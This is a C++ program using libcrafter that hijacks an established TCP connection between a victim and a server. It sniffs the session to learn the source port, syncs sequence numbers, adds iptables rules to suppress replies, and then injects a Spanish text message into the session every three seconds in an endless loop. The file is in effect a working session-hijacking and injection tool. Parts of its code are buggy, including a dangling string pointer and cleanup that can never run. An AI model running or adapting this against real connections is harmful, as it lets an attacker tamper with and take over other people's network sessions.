#include <iostream>
#include <string>
#include <crafter.h>

/* Collapse namespaces */
using namespace std;
using namespace Crafter;

/* Put and clear IP forwarding */
void clear_forward();

/* Source port that we have to find out */
short_word srcport = 0;

void PacketHandler(Packet* sniff_packet, void* user) {

	/* Get the TCP layer from the packet */
	TCP* tcp_header = GetTCP(*sniff_packet);

	srcport = tcp_header->GetSrcPort();
}

int main(int argc, char *argv[]) {

	/* Set the interface */
	string iface = "wlan0";

	/* Set connection data */
	string dst_ip = argv[1]; // <-- Destination IP
	string src_ip = argv[2]; // <-- Spoof IP
	//srcport = atoi(argv[3]); 
        short_word dstport = atoi(argv[3]);     // <-- We know the spoofed IP connects to this port


	/* --------- Find out the source port... */

	const char* ruler = string("/sbin/iptables  -D INPUT -s " + dst_ip +
			      " -p tcp --sport " + StrPort(dstport) + " --dport " + StrPort(srcport) +
			      " -j QUEUE").c_str();

	cout << ruler << endl;
	/* Drop packets received from the destination IP address */
	system(ruler);
        /* IP stuff */
	string filter = "tcp and host "+ dst_ip +" and host " + src_ip;
	/* TCP stuff */
	filter += " and dst port " + StrPort(dstport);
	/* Launch the sniffer */
	Sniffer sniff(filter,iface,PacketHandler);
	sniff.Capture(1);

	cout << "[@] Detected a source port: " << srcport << endl;

	/* ------------------------------------- */

	/* TCP connection server to victim */
	TCPConnection tcp_s_to_v(dst_ip,src_ip,dstport,srcport,iface,TCPConnection::ESTABLISHED);
	/* Both connection are already established... */

	/* [+] Synchronize the ACK and SEQ numbers
	 * This will block the program until some TCP packets from the spoofed connection
	 * pass through your computer...
	 */
        tcp_s_to_v.Sync();
         
        string rule = "/sbin/iptables  -A INPUT -s " + dst_ip +
			      " -p tcp --sport " + StrPort(dstport) + " --dport " + StrPort(srcport) +
			      " -j QUEUE";

	cout << rule << endl;
	/* Drop packets received from the destination IP address */
	system(rule.c_str());

	/* Remember that libcrafter doesn't mind about local firewalls rules... */
        
	cout << "[@] Connections synchronized " << endl;
      
        string line = "Se estan inyectando un mensaje a esta sesion\n";
	string centinel = "QUITCONSOLE";
	while(true) {
		/* Get a line from standard input */
		//getline(cin,line);
		/* Send to the destination */
			
			tcp_s_to_v.Send(line.c_str());
                        sleep(3);
		
        }
	

	cout << ruler << endl;
	/* Drop packets received from the destination IP address */
	system(ruler);
        return 0;
}
